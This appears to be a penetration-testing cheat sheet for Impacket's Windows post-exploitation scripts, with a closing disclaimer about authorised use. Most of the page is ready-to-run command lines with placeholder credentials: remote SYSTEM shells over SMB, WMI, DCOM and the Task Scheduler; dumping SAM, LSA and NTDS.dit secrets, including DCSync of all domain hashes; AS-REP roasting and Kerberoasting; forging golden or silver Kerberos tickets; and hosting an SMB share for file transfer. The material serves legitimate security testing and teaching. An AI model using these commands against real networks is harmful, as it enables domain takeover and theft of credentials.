Post Exploitation
Impacket is a versatile collection of Python classes for working with network protocols. It features low-level programmatic access to packets alongside specific full-featured scripts for interacting with Windows domains.
sudo apt install python3-impacket
impacket-<script_name> [options]
Impacket is a comprehensive collection of Python classes and scripts for working with Windows network protocols at a low level. It provides penetration testers with powerful tools for remote execution, credential extraction, and protocol-level attacks.
From remote shell access to full Active Directory database extraction, Impacket's scripts cover the entire post-exploitation lifecycle in Windows environments.
impacket-psexec example.com/<USER>:<PASS>@10.10.10.10Get a SYSTEM shell over SMB using the PsExec-style service techniqueimpacket-smbexec example.com/<USER>:<PASS>@10.10.10.10Semi-interactive shell via service creation, quieter than psexecimpacket-wmiexec example.com/<USER>:<PASS>@10.10.10.10Execute commands over WMI without dropping a service binaryimpacket-atexec example.com/<USER>:<PASS>@10.10.10.10 whoamiRun a single command via the Windows Task Schedulerimpacket-dcomexec example.com/<USER>:<PASS>@10.10.10.10Execute commands through DCOM objectsimpacket-secretsdump example.com/<USER>:<PASS>@10.10.10.10Dump SAM, LSA secrets, and cached credentials from a hostimpacket-secretsdump -just-dc example.com/<USER>:<PASS>@10.10.10.10Perform a DCSync to extract all domain hashes from a DCimpacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCALDump secrets from offline registry hive filesimpacket-GetNPUsers example.com/ -usersfile users.txt -no-pass -dc-ip 10.10.10.10AS-REP roasting: find users that do not require Kerberos pre-authimpacket-GetUserSPNs example.com/<USER>:<PASS> -dc-ip 10.10.10.10 -requestKerberoasting: request TGS tickets for accounts with SPNsimpacket-getTGT example.com/<USER>:<PASS> -dc-ip 10.10.10.10Request a Kerberos TGT and save it as a .ccache fileimpacket-getST -spn cifs/host.example.com -impersonate Administrator example.com/<USER>:<PASS>Request a service ticket, optionally with S4U impersonationimpacket-ticketer -nthash <HASH> -domain-sid <SID> -domain example.com AdministratorForge a golden/silver Kerberos ticketimpacket-smbclient example.com/<USER>:<PASS>@10.10.10.10Interactive SMB client for browsing shares and transferring filesimpacket-smbserver share /path/to/file -smb2supportSpin up an SMB server to host files for transferExecute commands via PsExec, wmiexec, smbexec.
Extract SAM, LSA, and NTDS.dit remotely.
Perform AS-REP roasting and Kerberoasting.
Host SMB shares for file transfer operations.
This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.